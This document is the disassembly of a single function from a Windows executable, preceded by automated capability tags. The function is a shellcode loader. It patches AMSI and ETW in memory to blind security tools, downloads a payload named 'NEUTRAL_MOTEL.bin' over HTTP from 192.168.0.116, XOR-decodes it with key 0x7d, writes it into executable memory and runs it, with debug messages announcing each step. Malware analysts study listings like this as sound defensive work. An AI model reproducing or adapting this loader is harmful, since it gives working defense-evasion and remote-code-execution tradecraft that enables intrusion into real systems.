Function at 0x1400012b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x1f], rax
movdqa xmm6, xmmword [str._]
xor esi, esi
mov dword [rbp - 0xd], esi
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
mov qword [rbp + 0xf], rsi
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov dword [rbp + 0x17], 0x70057b8
mov word [rbp + 0x1b], 0xc380
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], rsi
lea r9d, [rsi + 6]
lea r8, [rbp + 0x17]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.___AMSI_patched__n
call fcn.140001010
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.EtwEventWrite
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov byte [rbp - 9], 0xc3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], rsi
lea r9d, [rsi + 6]
lea r8, [rbp - 9]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.___ETW_patched__n
call fcn.140001010
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rbx, rax
mov qword [rbp - 0x19], rax
lea rcx, str.___WinHTTP_initialized_n
call fcn.140001010
mov r8d, 0x1f40
xor r9d, r9d
lea rdx, str.192.168.0.116
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbx, rax
mov qword [rbp + 0x17], rax
lea rcx, str.___Connected_to_HTTP_Server_n
call fcn.140001010
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str._NEUTRAL_MOTEL.bin
lea rdx, [0x1400034e8]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r15, rax
lea rcx, str.___Sending_HTTP_GET_Request_n
call fcn.140001010
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
lea rcx, str.___WinHTTP_request_sent_n
call fcn.140001010
xor edx, edx
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea rcx, str.___Response_retrieved_n
call fcn.140001010
mov dword [rbp - 0x11], esi
lea rdx, [rbp - 0x11]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x140001498
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.140001010
mov ecx, dword [rbp - 0x11]
inc ecx
call fcn.140001a74
mov rbx, rax
mov r8d, dword [rbp - 0x11]
inc r8d
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp - 0xd]
mov r8d, dword [rbp - 0x11]
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x1400014e4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.140001010
jmp 0x1400014f8
mov r9d, dword [rbp - 0xd]
mov r8, rbx
mov rdx, qword [rbp + 7]
lea rcx, [rbp - 1]
call fcn.1400017a0
cmp dword [rbp - 0x11], 0
ja 0x140001470
mov rdi, qword [rbp + 7]
mov r14, qword [rbp - 1]
sub rdi, r14
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r13, rax
mov r8d, esi
test rdi, rdi
je 0x140001549
mov rdx, rax
mov r9, r14
sub r9, rax
nop word [rax + rax]
movzx ecx, byte [r9 + rdx]
xor cl, 0x7d
mov byte [rdx], cl
inc r8d
lea rdx, [rdx + 1]
movsxd rax, r8d
cmp rax, rdi
jb 0x140001530
lea rcx, str.___Encrypted_shellcode_allocated_in_heap_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
jne 0x140001597
lea rcx, str.____VirtualAlloc_failed_n
call fcn.140001010
lea ecx, [r12 + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, r12
lea rcx, str.___Allocated_space_for_the_buffer__p_n
call fcn.140001010
test edi, edi
jle 0x14000162e
cmp edi, 0x40
jb 0x140001632
mov ecx, edi
and ecx, 0x8000003f
jge 0x1400015c8
dec ecx
or ecx, 0xffffffc0
inc ecx
mov eax, edi
sub eax, ecx
movsxd r8, eax
lea rax, [r13 + 0x20]
mov rdx, 0xffffffffffffffe0
sub rdx, r13
nop dword [rax]
movdqu xmm0, xmmword [rax - 0x20]
movdqa xmm1, xmm6
pxor xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
movdqu xmm0, xmmword [rax - 0x10]
pxor xmm0, xmm6
movdqu xmmword [rax - 0x10], xmm0
movdqu xmm1, xmmword [rax]
pxor xmm1, xmm6
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm6
pxor xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
add esi, 0x40
lea rax, [rax + 0x40]
lea rcx, [rax + rdx]
cmp rcx, r8
jl 0x1400015e0
cmp esi, edi
jge 0x14000164d
movsxd rcx, esi
add rcx, r13
mov edx, edi
sub edx, esi
nop dword [rax]
xor byte [rcx], 0x7d
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140001640
mov r8, rdi
mov rdx, r13
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.___Shellcode_decrypted_and_written_n
call fcn.140001010
lea rcx, str.___Encrypting_the_heap_for_10_seconds_n
call fcn.140001010
call fcn.140001210
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Decrypting_the_heap_n
call fcn.140001010
call fcn.140001210
mov rcx, rbx
call r12
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0x17]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
test r14, r14
je 0x1400016fd
mov rdx, qword [rbp + 0xf]
sub rdx, r14
mov rax, r14
cmp rdx, 0x1000
jb 0x1400016f5
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140001a6c
xor eax, eax
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.140001a10
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret